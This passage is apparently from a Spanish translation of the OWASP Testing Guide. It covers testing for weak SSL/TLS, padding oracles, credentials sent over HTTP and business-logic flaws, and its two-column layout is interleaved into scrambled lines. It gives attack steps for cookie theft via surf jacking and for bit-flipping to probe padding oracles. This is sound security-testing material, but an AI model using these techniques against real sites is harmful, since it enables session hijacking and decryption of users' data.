path=/ =====================================
Content-Length: 193
Connection: close Checking localhost:443 for TLS 1.1 support ...
Checking localhost:443 for TLS 1.2 support ...
=====================================
[*] TLS 1.1, TLS 1.2: SUPPORTED
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY [*] Immune from BEAST attack mentioned in
support ... http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025
[*] Forward Secrecy: SUPPORTED
[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

on protocol - TLSv1
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have
compromised private keys. =====================================
Loading module: sslyze by iSecPartners ...
=====================================
Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-

2011-1473,CVE-2011-5094) ...
Checking localhost:443 for RC4 support (CVE-2013-2566) ...
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED

[!] RC4: SUPPORTED
[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in

266
https://www.thc.org/thc-ssl-dos/ TLS_ECDH_anon_WITH_RC4_128_SHA
[*] Vulnerability Status: No TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA
TLS_ECDH_anon_WITH_AES_256_CBC_SHA
(TLSv1.0: same as above)
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED (TLSv1.1: same as above)
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - (TLSv1.2: same as above)
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555
[!] LANE ciphers : SUPPORTED

=====================================
[!] Attackers may be ABLE to recover encrypted packets.

Loading module: TestSSLServer by Thomas Pornin ...
Checking localhost:443 for SSL version 2 support ...
=====================================
[*] SSL version 2 : NOT SUPPORTED
[*] Immune from SSLv2-based MITM attack

Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack
[*] Vulnerability Status: No (CVE-2013-0169) ...
===================================== Supported GCM cipher suites against Lucky13 attack:
Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers TLSv1.2

support ...
Supported LANE cipher suites:
SSLv3
RSA_EXPORT_WITH_RC4_40_MD5
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
RSA_EXPORT_WITH_RC2_CBC_40_MD5
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
RSA_EXPORT_WITH_DES40_CBC_SHA
RSA_WITH_DES_CBC_SHA
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
[*] GCM/CCM ciphers : SUPPORTED
DHE_RSA_WITH_DES_CBC_SHA
[*] Immune from Lucky13 attack mentioned in
267
http://www.isg.rhul.ac.uk/tls/Lucky13.html
[*] Vulnerability Status: No Estos controles deben aplicarse a todos los canales de comunicación SSL-
wrapped visibles utilizados por la aplicación. Aunque este es el servicio https
que generalmente se ejecuta en el puerto 443, puede haber servicios
adicionales involucrados dependiendo de la arquitectura de las aplicaciones
===================================== web y de los problemas de implementación (si queda un puerto HTTPS
administrativo abierto, servicios HTTPS en puertos no estándar, etc.).
Checking localhost:443 for TLS Compression support against CRIME (CVE-

2012-4929) & TIME attack ... Por lo tanto, se aplican estos controles a todos los puertos SSL-wrapped que se
han descubierto. Por ejemplo, el scanner nmap ofrece un modo de exploración
(activado por el interruptor de línea de comandos – sV) que identifica
servicios SSL-wrapped. El escáner de vulnerabilidades Nessus tiene la
[*] TLS Compression : DISABLED capacidad de realizar comprobaciones SSL en todos los servicios SSL/TLS-
wrapped.
[*] Immune from CRIME & TIME attack mentioned in
https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-
wp.pdf
Ejemplo 1. Prueba de la validez del certificado (manualmente)
En lugar de proporcionar un ejemplo ficticio, esta guía incluye un ejemplo
anónimo de la vida real para subrayar cuán a menudo uno tropieza con sitios
https cuyos certificados son inexactos con respecto a su denominación. Las
siguientes capturas de pantalla se refieren a un sitio regional de una empresa
de IT de alto perfil.
=====================================
Estamos visitando un sitio de .it y el certificado fue emitido para un sitio

.com. Internet Explorer advierte que el nombre del certificado no coincide con
[+] Breacher finished scanning in 12 seconds.
el nombre del sitio.
[+] Get your latest copy at http://yehg.net/
Prueba de la validez de los certificados SSL - de clientes y servidores
En primer lugar, actualice el navegador porque caducan los certificados CA y

en cada versión del navegador estos se renuevan. Examine la validez de los
certificados utilizados por la aplicación. Los navegadores emitirán una
advertencia cuando encuentren certificados expirados, emitidos por CA no
confiables y/o que no coincidan el nombre con el sitio al que debe referirse.
Haga clic sobre el candado que aparece en la ventana del navegador cuando
visita un sitio HTTPS; los evaluadores pueden consultar información
relacionada con el certificado que incluye al emisor, el período de validez, las
características de cifrado, etc.
Si la aplicación requiere un certificado del cliente, el evaluador tendrá que

Advertencia emitida por Microsoft Internet Explorer
instalar uno para acceder a ésta. La información del certificado está disponible
en el navegador mediante la inspección de los correspondientes certificados en
la lista de certificados instalados.
268
El mensaje emitido por Firefox es diferente. Firefox se queja porque no puede • La victima se registra en una página web segura https://somesecuresite/.
determinar la identidad del sitio .com al que el certificado se refiere porque no
conoce la CA que firmó el certificado. • La página web segura emite una cookie de sesión cuando el cliente se
conecta.
• Mientras está conectado, la víctima abre una nueva ventana de navegación y

De hecho, Internet Explorer y Firefox no vienen precargados con la misma va a http://examplesite/
lista de CA. Por lo tanto, puede variar el comportamiento con diferentes
navegadores. • Un atacante sentado en la misma red es capaz de ver el tráfico transparente
en http://examplesite.
• El atacante envía un “301 Moved Permanently” en respuesta al tráfico

transparente en http://examplesite. La respuesta contiene el encabezado
“Location: http://somesecuresite /”, lo que hace parecer que examplesite está
enviando al navegador hacia somesecuresite. Note que el esquema de la URL
is HTTP y no HTTPS.
• El navegador de la víctima inicia una nueva conexión con texto transparente

con http://somesecuresite/ y envía una solicitud HTTP que contiene la cookie
en el encabezado HTTP en texto transparente.
• El atacante ve este tráfico y registra la cookie para su uso posterior.
Para comprobar si una web es vulnerable, realice las siguientes pruebas:
Advertencia emitida por Mozilla Firefox [1] Revise si el sitio web soporta protocolos HTTP y HTTPS.
[2] Revise si las cookies no tienen banderas de “Seguridad”.
Prueba de otras vulnerabilidades
Como se mencionó anteriormente, existen otros tipos de vulnerabilidades que SSL Strip
no están relacionadas con el protocolo SSL/TLS utilizado, las suites de cifrado
o certificados. Algunas aplicaciones soportan HTTP y HTTPS, ya sea por el uso o porque lo
usuarios pueden escribir ambas direcciones y acceder al sitio. A menudo los
usuarios entran en un sitio web de HTTPS por un enlace o una redirección.
Aparte de otras vulnerabilidades que se discuten en otras partes de esta guía,

existe una vulnerabilidad cuando el servidor proporciona al sitio web los
protocolos HTTP y HTTPS y permite a un atacante forzar a una víctima a Los sitios de banca personal tienen una configuración similar, con un registro
utilizar un canal no seguro en lugar de uno seguro. de iframed o un formulario con un atributo de acción sobre HTTPS, pero la
página en HTTP.
Surf Jacking (Secuestro de navegación)

Un atacante en una posición privilegiada - como se describe en SSL strip [8] -
El ataque de Surf Jacking [7] fue presentado primero por Sandro Gauci y puede interceptar el tráfico cuando el usuario está en el sitio http y
permite a un atacante secuestrar una sesión HTTP, incluso cuando la conexión manipularlo para obtener un ataque de Man In The Middle en HTTPS. Una
de la víctima está cifrada mediante SSL o TLS. aplicación es vulnerable si es compatible con HTTP y HTTPS.
El siguiente es un escenario de cómo puede ocurrir el ataque: Pruebe mediante un proxy HTTP

269
Dentro de entornos corporativos, los evaluadores pueden ver los servicios que
no son directamente accesibles y pueden acceder a ellos a través del proxy
HTTP mediante el método CONNECT [36]. Ejemplo 10: Apache
Para revisar las suites y protocolos de cifrado soportados por el servidor
La mayoría de las herramientas no funcionan en este escenario porque tratan web Apache2, abra el archivo ssl.conf y busque las directivas
de conectarse al puerto tcp deseado para iniciar el protocolo de conexión SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,
SSL/TLS. Con la ayuda de software de reinstalación como socat, [37] los SSLInsecureRenegotiation y SSLCompression.
probadores pueden activar esas herramientas para usarlas con los servicios
detrás de una proxy HTTP.
Prueba de la validez de los certificados SSL - de clientes y servidores
Ejemplo 8. Pruebe mediante un proxy HTTP Examine la validez de los certificados utilizados por la aplicación a nivel de
cliente y servidor. El uso de los certificados es principalmente a nivel del
Para conectarse con destined.application.lan:443 mediante un proxy servidor web, sin embargo, puede haber rutas de comunicación protegidas por
10.13.37.100:3128 ejecute socat como sigue: SSL (por ejemplo, hacia el DBMS). Los evaluadores deben revisar la
arquitectura de las aplicaciones para identificar todos los canales SSL
$ socat TCP-LISTEN:9999,reuseaddr,fork protegido.
PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128
Herramientas
Entonces el evaluador puede apuntar todas las demás herramientas hacia
localhost:9999: • [21][Qualys SSL Labs - SSL Server Test: ssllabs.com
$ openssl s_client -connect localhost:9999 • [27] [Tenable - Nessus Vulnerability Scanner tenable.com: incluye algunos
plugins para probar diferentes vulnerabilidades relacionadas con SSL,
certificados y la presencia de autenticación HTTP básica sin SSL.
Todas las conexiones a localhost:9999 serán efectivamente retransmitidas por • [32] [TestSSLServer: bolet.org]: un scanner java - y también un ejecutable
socat mediante un proxy hacia destined.application.lan:443. de windows - incluye pruebas para suites de cifrado, CRIME y BEAST
• [33] [sslyze: github.com]: es un script python para revisar vulnerabilidades

en SSL/TLS.
Revisión de la configuración
• [28] [SSLAudit | code.google.com: un escáner ejecutable con un script perl
Prueba de las suites de cifrado SSL/TLS débiles /windows de acuerdo a la guía Qualys SSL Labs Rating Guide.
Compruebe la configuración de los servidores web que ofrecen servicios de • [29] [SSLScan | sourceforge.net [SSL Tests | pentesterscripting.com l_tests]:
https. Si la aplicación web proporciona otros servicios SSL/TLS wrapped, un SSL Scanner y un wrapper para enumerar las vulnerabilidades SSL.
éstos deben comprobarse también.
• [31] [nmap | nmap.org]: puede ser utilizado primeramente para identificar
servicios basados en SSL y luego verificar el certificado y vulnerabilidades
SSL/TLS. Particularmente tiene algunos scripts para revisar [Certificate and
Ejemplo 9. Windows Server SSLv2 | nmap.org] y [SSL/TLS protocols/ciphers | nmap.org] soportados con
un rango interno.
Revise la configuración en Microsoft Windows Server (2000, 2003 y 2008)
usando la clave de registro: • [30] [curl | curl.haxx.se] y [openssl | openssl.org]: pueden ser usados para
consultas manuales de servicios SSL/TLS
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityPr
oviders\SCHANNEL\ • [9] [Stunnel | stunnel.org]: una clase notable de clientes SSL es aquella de
los proxies SSL como stunnel que puede utilizarse para permitir que
herramientas activas de no SSL se comuniquen con los servicios SSL)
que tiene algunas subclaves como cifras, protocolos y • [37] [socat | dest-unreach.org]: relay multipropósito
KeyExchangeAlgorithms.

270
• [38] [testssl.sh | testssl.sh ] • [14] [Qualys SSL Labs - SSL Server Rating Guide | ssllabs.com]
• [20] [Qualys SSL Labs - SSL Threat

Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]
Referencias
• [18] [Qualys SSL Labs - Forward Secrecy |
Recursos OWASP
community.qualys.com]
• [5] [Guía de pruebas OWASP - Pruebas de los atributos de las cookies
(OTG-SESS-002) | owasp.org] • [15] [Qualys SSL Labs - RC4 Usage | community.qualys.com]
• [4][ Guía de pruebas OWASP - Pruebe la configuración de la infraestructura • [16] [Qualys SSL Labs - BEAST | community.qualys.com]
y la red (OTG-CONFIG-001) | owasp.org]
• [17] [Qualys SSL Labs - CRIME | community.qualys.com]
• [6] [Guía de pruebas OWASP - Pruebe el HTTP Strict Transport Security
(OTG-CONFIG-007) | owasp.org] • [7] [SurfJacking attack|resources.enablesecurity.com]
• [2] [Guía de pruebas OWASP - Pruebas para el envío de información • [8] [SSLStrip attack | thoughtcrime.org]
sensible por canales sin encriptar (OTG-CRYPST-003) | owasp.org]
• [19] [PCI-DSS v2.0 | pcisecuritystandards.org]
• [3] [Guía de pruebas OWASP - Pruebas del transporte de credenciales en un
canal encriptado (OTG-AUTHN-001) | owasp.org] • [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash
Functions| springer.com]
• [22] [OWASP Cheat sheet - Transport Layer Protection |
owasp.org ]
Prueba del Padding Oracle (Relleno de Oracle)(OTG-CRYPST-002)
• [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure |owasp.org]
Resumen
• [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection |
owasp.org] Un padding oracle es una función de la aplicación que decodifica datos
encriptados que proporciona el cliente, por ejemplo, estado de sesión interna
• [25] [OWASP ASVS 2009 - Verification 10 | code.google.com] almacenado en el cliente y fuga el estado de la validez del padding después de
descifrado.
• [26] [OWASP Application Security FAQ - Cryptography/SSL | owasp.org]
La existencia de un padding oracle permite a un atacante descifrar datos

Libros Blancos encriptados y cifrar datos arbitrarios sin conocer la clave utilizada para estas
operaciones criptográficas. Esto puede llevar a la fuga de datos sensibles o a
• [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 una vulnerabilidad de privilegios escalada si la aplicación asume la integridad
(Updated by RFC 5746, RFC 5878, RFC 6176) | de los datos cifrados.
ietf.org]
• [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|] Los bloques de cifrado encriptan los datos en bloques de tamaños
determinados. Los tamaños de bloque utilizados por los cifradores comunes
• [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension son de 8 y 16 bytes. Los datos cuyo tamaño no coincide con un múltiplo del
Definitions | ietf.org] tamaño del bloque de cifrado usado, tienen que rellenarse de una forma
específica para que el decodificador pueda eliminar el padding. Un esquema
• [11] [SSLv2 Protocol Multiple Weaknesses | osvdb.org] común de padding utilizado es PKCS #7. Llena los bytes restantes con el valor
de la longitud del padding.
• [12] [Mitre - TLS Renegotiation MiTM | cve.mitre.org]
• [13] [Qualys SSL Labs - TLS Renegotiation DoS |

Ejemplo:
community.qualys.com]
• [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices | ssllabs.com]

271
Si el padding tiene la longitud de 5 bytes, el valor del byte 0 x 05 se repite Primero deben identificarse los puntos de entrada posibles para los padding
cinco veces después del texto. oracles. Generalmente deben cumplirse las siguientes condiciones:
Una condición de error está presente si el padding no coincide con la sintaxis [1] Los datos están codificados. Son buenos candidatos los valores que
del esquema de padding usado. Un padding oracle está presente si una parecen aleatorios.
aplicación filtra esta condición de error de padding específico para datos
cifrados proporcionados por el cliente. [2] Se utiliza un cifrado de bloque. La longitud del texto cifrado decodificado
(Base64 se utiliza a menudo); es un múltiplo de los tamaños de bloque de
cifrado comunes como 8 o 16 bytes. Los diferentes textos de cifrado (por
ejemplo, reunidos en diferentes sesiones o manipulando el estado de la sesión)
Esto puede ocurrir exponiendo las excepciones (e.g. BadPaddingException en comparten un divisor común en la longitud.
Java) directamente, por diferencias sutiles en las respuestas enviadas al cliente
o por otro canal lateral como comportamiento de sincronización.
Ejemplo:
Ciertos modos de operación criptográfica permiten ataques de bit-flipping, Dg6W8OiWMIdVokIDH15T/A== resulta despues de decodificar Base64 en
donde voltear un bit en el texto de cifrado hace que el bit también se voltee en 0e 0e 96 f0 e8 96 30 87 55 a2 42 03 1f 5e 53 fc. Esto parece ser aleatorio y
el texto simple. con una longitud de 16 bytes.
Voltear un bit en el enesimo bloque en los datos encriptados de CBC causa Si se identifica un valor ingresado que es un buen candidato, debe verificarse
que el mismo bit en el (enesimo+1) bloque se voltee en los datos descifrados. el comportamiento de la aplicación con la manipulación del valor codificado
El enesimo bloque del texto cifrado que se decodifica es inhabilitado con esta en referencia al bit.
manipulación.
Normalmente este valor Base64 codificado incluirá el vector de inicialización

El ataque de padding oracle permite que un atacante descifre datos (IV) que se antepone al texto cifrado. Dado un texto plano p y un cifrado con
codificados sin el conocimiento de la clave de cifrado y el cifrado utilizado un bloque de tamaño n, el número de bloques será b = ceil (length(b) / n).
mediante el envío de textos, hábilmente manipulados, de cifrado al padding
oracle y observa los resultados devueltos por este.
La longitud de la cadena cifrada será y=(b+1)*n debido al vector de

inicialización. Para verificar la presencia del oráculo, decodifique la cadena,
Esto causa la pérdida de confidencialidad de los datos cifrados. Por ejemplo, cambie el último bit del penúltimo bloque b-1 (el bit menos significativo del
en el caso de datos de sesión almacenados en el lado del cliente, el atacante byte en y-n-1), vuelva a codificar y envíe. A continuación, decodifique la
puede obtener información sobre el estado interno y la estructura de la cadena original, cambie el último bit del bloque b-2 (el bit menos significativo
aplicación. del byte en y-2*n-1), vuelva a codificar y envíe.
Un ataque de padding oracle también permite a un atacante cifrar textos Si se sabe que la cadena cifrada es un solo bloque (el IV se almacena en el
arbitrarios simples sin el conocimiento de la clave usada y el cifrado. Si la servidor o la aplicación está utilizando una mala práctica de codificado de IV),
aplicación asume como correcta la integridad y autenticidad de los datos varios cambios de bits deben realizarse en turnos. Un enfoque alternativo sería
descifrados, un atacante podría ser capaz de manipular el estado de sesión anteponer un bloque al azar y cambiar bits para hacer que el último byte del
interna y posiblemente obtener mayores privilegios. bloque añadido tome todos los valores posibles (0 a 255).
Cómo probar Las pruebas y el valor base deben causar al menos tres diferentes estados
durante y después del descifrado:
Prueba para determinar las vulnerabilidades de padding oracle:

272
• Se consigue descifrar el texto cifrado; los datos resultantes son correctos.
• Se consigue descifrar el texto cifrado, los datos resultantes son confusos y [1] La integridad del texto cifrado debe ser verificada por un mecanismo
causan algunas excepciones y errores de manejo en la lógica de la aplicación. seguro, como HMAC o con formas de autenticar la operación de cifrado como
GCM o CCM.
• Falla el descifrado del texto debido a errores de padding.

[2] Todos los estados de error durante la decodificación y el posterior
procesamiento son manejados uniformemente.
Compare las respuestas con cuidado. Busque sobre todo las excepciones y los
mensajes que indican que algo está mal con el padding. Si aparecen estos
mensajes, la aplicación contiene un oracle padding. Herramientas
• PadBuster: github.com
Si los tres estados diferentes descritos anteriormente son implícitamente • python-paddingoracle: github.com
observables (mensajes de error diferentes, tiempos del lado de los canales),
hay una alta probabilidad de que en este momento hay un oracle padding • Poracle: github.com
presente. Trate de realizar el ataque de oracle padding para confirmarlo.
• Padding Oracle Exploitation Tool (POET): netifera.com
Ejemplos:
Ejemplos
• Visualización del proceso de decodificación: erlend.oftedal.no

• ASP.NET lanza la excepción “System.Security.Cryptography.Cryptographic
Exception: Padding is invalid and cannot be removed.” si el padding del texto
cifrado que se decodificó está roto.
Referencias
Libros Blancos
• En Java, una excepción javax.crypto.BadPaddingException se lanza en este
caso. • Wikipedia - Padding oracle attack: en.wikipedia.org
• Juliano Rizzo, Thai Duong, “Practical Padding Oracle Attacks”: usenix.org
• Errores de decodificación o similares son posibles padding oracles.
Pruebas para el envío de información sensible por canales sin encriptar

(OTG-CRYPST-003)
Resultados esperados:
Resumen
Una implementación de seguridad revisará la integridad y causará sólo dos
respuestas: ok y failed. No hay ningún canal lateral que se pueda utilizar para Los datos sensibles deben ser protegidos al transmitirse a través de la red. Si
determinar el estado de los errores internos. los datos se transmiten a través de HTTPS o cifrados de alguna otra manera, el
mecanismo de protección no debe tener limitaciones o vulnerabilidades, como
se explica en el artículo más amplio. Pruebas de codificadores SSL/TLS
débiles, protección de transporte de capas insuficiente (OTG-CRYPST-001)
Pruebas de Caja Negra [1] y en otra documentación OWASP [2], [3], [4], [5].
Prueba para determinar las vulnerabilidades de padding oracle:
Verifique que todos los lugares donde están codificados los datos del cliente, Como regla general, si los datos deben protegerse cuando se almacenan, estos
que sólo deben ser conocido por el servidor, se encuentran decodificados. datos también deben protegerse durante la transmisión. Algunos ejemplos de
Dicho código debe cumplir las siguientes condiciones: datos sensibles son:

273
<html><head><title>401 Authorization Required</title></head>
• Información utilizada en la autenticación (por ejemplo credenciales, PINs, <body bgcolor=white> <h1>401 Authorization Required</h1> Invalid login
identificadores de sesión, Fichas, Cookies…) credentials! </body></html>
• Información protegida por leyes, regulaciones o políticas organizacionales

específicas (por ejemplo, tarjetas de credito, datos del cliente ).
Ejemplo 2: Autenticación basada en formularios mediante HTTP
Otro ejemplo típico son los formularios de autenticación que transmiten

credenciales de autenticación del usuario mediante HTTP. En el siguiente
ejemplo puede ver en HTTP el uso del atributo "action" del formulario.
Si la aplicación transmite información sensible a través de canales sin También es posible ver este tema examinando el tráfico HTTP con un proxy
codificar - por ejemplo, HTTP - se considera un riesgo de seguridad. Algunos de intercepción.
ejemplos son de autenticación básica que envía credenciales de autenticación
en texto simple mediante HTTP, credenciales de autenticación basadas en
formularios enviados mediante HTTP, o la transmisión de texto simple o
cualquier otra información considerada sensible de acuerdo a normas, leyes, <form action=”http://example.com/login”>
política organizacional o lógica de la aplicación del negocio.
<label for=”username”>User:</label> <input type=”text”
id=”username” name=”username” value=””/><br />
Cómo probar <label for=”password”>Password:</label> <input

type=”password” id=”password” name=”password” value=””/>
Diversos tipos de información que deben ser protegidos podrían transmitirse
mediante la aplicación en texto claro. Es posible verificar si esta información <input type=”submit” value=”Login”/>
se transmite a través de HTTP en lugar de HTTPS, o si se utilizan cifrados
débiles. Para mayor información acerca de la transmisión insegura de </form>
credenciales, vea el Top 10 2013-A6-Sensitive Data Exposure [3] o protección
insuficiente de la capa de transporte en general Top 10 2010-A9-Insufficient
Transport Layer Protection [2].
Ejemplo 3: Cookie que contiene un identificador de sesión enviado por
HTTP
Ejemplo 1: Autenticación básica en HTTP La Cookie del identificador de sesión debe ser transmitida en canales
protegidos. Si la cookie no tiene la bandera de seguridad [6] se permite a la
Un ejemplo típico es el uso de una autenticación básica en HTTP. Cuando se aplicación transmitirla sin encriptar.
utiliza una autenticación básica, se codifican las credenciales de usuario en
lugar de encriptarlas y se envían como encabezados HTTP. En el ejemplo Note a continuación que la programación de la cookie se realiza sin la bandera
siguiente, el evaluador usa curl [5] para evaluar este tema. Note cómo la de seguridad, y todo el proceso de registro se realiza en HTTP y no HTTPS..
aplicación utiliza la autenticación básica y HTTP en lugar de HTTPS
curl -kis http://example.com/restricted/

https://secure.example.com/login
HTTP/1.1 401 Authorization Required
Date: Fri, 01 Aug 2013 00:00:00 GMT

POST /login HTTP/1.1
WWW-Authenticate: Basic realm=”Restricted Area”
Host: secure.example.com
Accept-Ranges: bytes Vary:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0)
Accept-Encoding Content-Length: 162 Gecko/20100101 Firefox/25.0
Content-Type: text/html Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

274
Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://secure.example.com/ Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate
Content-Length: 188 Referer: https://secure.example.com/login
Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA;
HTTP/1.1 302 Found Connection: keep-alive
Date: Tue, 03 Dec 2013 21:18:55 GMT
Server: Apache HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, max-age=0 Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache
Pragma: no-cache Expires: 0
Set-Cookie: JSESSIONID=BD99F321233AF69593EDF52B123B5BDA; Content-Type: text/html;charset=UTF-8

expires=Fri, 01-Jan-2014 00:00:00 GMT; path=/; domain=example.com;
httponly Content-Length: 730
Location: private/ Date: Tue, 25 Dec 2013 00:00:00 GMT
X-Content-Type-Options: nosniff ----------------------------------------------------------
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN Herramientas
Content-Length: 0 • [5] curl puede ser usado para revisar cómo buscar páginas manualmente
Connection: Keep-Alive Referencias
Content-Type: text/html Recursos OWASP
• [1] Guía de Pruebas OWASP - Pruebas de codificadores SSL/TLS débiles,

protección de transporte de capas insuficiente (OTG-CRYPST-001)
----------------------------------------------------------
http://example.com/private
• [2] OWASP TOP 10 2010 - Insufficient Transport Layer Protection
GET /private HTTP/1.1

• [3] OWASP TOP 10 2013 - Sensitive Data Exposure
Host: example.com

• [4] OWASP ASVS v1.1 - V10 Communication Security Verification
Gecko/20100101 Firefox/25.0 Requirements

275
No se pueden automatizar los casos de abuso en la lógica del negocio y siguen

siendo un arte manual que depende de las habilidades del evaluador y de un
• [6] Guía de pruebas OWASP - Pruebas de los atributos de las cookies (OTG- conocimiento completo de los procesos del negocio y sus normas.
SESS-002)
Restricciones y límites de negocio

Prueba de la lógica del negocio
Considere las reglas para la función del negocio que proporciona la
Resumen aplicación. ¿Existen límites o restricciones en el comportamiento de las
personas? Entonces considere si la aplicación hace cumplir esas normas.
Para probar las fallas en la lógica del negocio en una aplicación web dinámica Generalmente es bastante fácil identificar los casos de prueba y análisis para
y multifuncional, se requiere pensar en métodos no convencionales. Si el verificar si la aplicación está familiarizada con el negocio.
mecanismo de autenticación de la aplicación está desarrollado con la intención
de realizar los pasos 1, 2, 3, en ese orden específico para autenticar un usuario,
¿qué sucede si el usuario va del paso 1 directamente al paso 3?
Si usted es un evaluador externo, entonces va a tener que usar su sentido
común y preguntar al negocio si las diferentes operaciones se deben permitir
por parte de la aplicación.
En este ejemplo simple, ¿ la aplicación da acceso al no poder abrir, niega el
acceso, o solo manda un error con un mensaje 500?
A veces, en aplicaciones muy complejas, el evaluador no tendrá el

conocimiento completo de cada aspecto de la aplicación inicialmente. En estas
Hay muchos ejemplos que se pueden dar, pero la lección constante es "pensar situaciones, es mejor que el cliente dirija al evaluador a través de la aplicación
fuera del conocimiento común". Este tipo de vulnerabilidad no puede ser para poder tener una mejor comprensión de los límites y la funcionalidad
detectada por un escáner de vulnerabilidad y se basa en las habilidades y prevista de la aplicación, antes de empezar la prueba real.
creatividad del evaluador de penetración.
Además, tener una línea de comunicación directa con los desarrolladores (si es
posible) durante la prueba es de gran ayuda, por si aparecen preguntas con
respecto a la funcionalidad de la aplicación.
Además, este tipo de vulnerabilidad suele ser una de las más difíciles de
detectar y, generalmente, es específica de la aplicación, pero, al mismo
tiempo, uno de los más perjudiciales para la aplicación si se explota.
Descripción del problema
A las herramientas automatizadas les resulta difícil comprender el contexto,

La clasificación de las fallas en la lógica del negocio no han sido estudiadas a por lo tanto, depende de una persona el llevar a cabo este tipo de pruebas. Los
fondo; aunque la explotación de las fallas de negocio suceden con frecuencia siguientes dos ejemplos ilustran cómo el entender la funcionalidad de la
en los sistemas del mundo real, y muchos investigadores de vulnerabilidades aplicación, las intenciones del desarrollador y un pensamiento creativo "fuera
aplicadas las investigan. de la caja" pueden romper la lógica de la aplicación.
El mayor enfoque es en aplicaciones web. Hay un debate dentro de la El primer ejemplo comienza con una manipulación simple del parámetro,
comunidad acerca de si estos problemas representan particularmente nuevos mientras que el segundo es un ejemplo del mundo real de un proceso que
conceptos, o si son variantes de principios bien conocidos. conduce a subvertir completamente la aplicación.
La prueba de fallas en la lógica del negocio es similar a los tipos de prueba Ejemplo 1:
utilizados por evaluadores funcionales que se enfocan en la prueba de estado
lógico o finito. Estos tipos de pruebas requieren que los profesionales de la Supongamos que un sitio de comercio electrónico permite a los usuarios
seguridad piensen un poco diferente, desarrollen casos de abuso y mal uso y seleccionar elementos que desean comprar, ver una página de resumen y
usen muchas de las técnicas de prueba adoptadas por los evaluadores luego licitar la venta. ¿Qué pasaría si un atacante vuelve a la página de
funcionales. resumen, manteniendo la validez de la sesión e inyecta un menor costo en
un elemento, completa la transacción y luego sale?

276
Ejemplo 2: Esto es importante porque, sin esta protección, los atacantes pueden ser
capaces de "engañar/trucar" la aplicación para que les permita entrar en
Retener/bloquear recursos y evitar que otros puedan comprar estos artículos secciones de la aplicación del sistema a las cuáles no deberian tener acceso
en línea puede resultar en que los atacantes compren artículos a bajo precio. en ese momento en particular, eludiendo así el flujo de trabajo de la lógica
La solución a este problema es implementar tiempos de cierre de sesión y de negocio de la aplicación.
mecanismos para asegurar que sólo el precio correcto puede ser cargado.
4.12.3 Prueba de comprobación de integridad (OTG-BUSLOGIC-003)

Ejemplo 3:
En la comprobación de integridad y prueba de evidencia de adulteración,
¿Qué pasaría si un usuario pudo iniciar una transacción vinculada a su verificamos que la aplicación no permita a los usuarios destruir la
cuenta de club o lealtad y luego de agregar los puntos a su cuenta cancela la integridad o datos de cualquier parte del sistema.
transacción? ¿Los puntos o créditos todavía pueden aplicarse a su cuenta?
Esto es importante porque, sin estas protecciones, los atacantes pueden

Casos de prueba de la lógica del negocio romper el flujo de trabajo de la lógica del negocio y cambiar o poner en
peligro los datos del sistema de aplicación o encubrir acciones mediante la
Cada aplicación tiene un proceso diferente de negocio y lógica específica de alteración de información, incluyendo archivos de registro.
la aplicación y puede ser manipulada en un número infinito de
combinaciones. Esta sección proporciona algunos ejemplos comunes de
problemas de lógica de negocio, pero de ninguna manera es una lista
completa de todos los temas. 4.12.4 Prueba del tiempo de procesamiento (OTG-BUSLOGIC-004)
Las explotaciones de la lógica del negocio pueden separarse en las En las pruebas del tiempo de procesamiento, verificamos que la aplicación
siguientes categorías: no permita a los usuarios manipular un sistema o adivinar su
comportamiento basado en los tiempos de procesamiento de entrada o
salida.
4.12.1 Prueba de la validación de datos de la lógica del negocio (OTG-

BUSLOGIC-001)
Esto es importante porque, sin esta protección, los atacantes pueden ser
En la prueba de validación de datos de la lógica del negocio, verificamos capaces de controlar el tiempo de procesamiento y determinar las salidas
que la aplicación no permita a los usuarios insertar datos "no validados" en basados en el tiempo o eludir la lógica del negocio de la aplicación al no
el sistema o la aplicación. completar transacciones o acciones en forma oportuna.
Esto es importante porque, sin esta protección, los atacantes pueden insertar 4.12.5 Prueba del número de veces que limita el uso de una función (OTG-
datos/información "no validada" en la aplicación/sistema en "puntos de BUSLOGIC-005)
entrega" donde el sistema/aplicación considera que los datos/información es
"buena" y ha sido válida desde que los puntos de"entrada" realizaron la Al probar el límite de una función, verifique que la aplicación no permita a
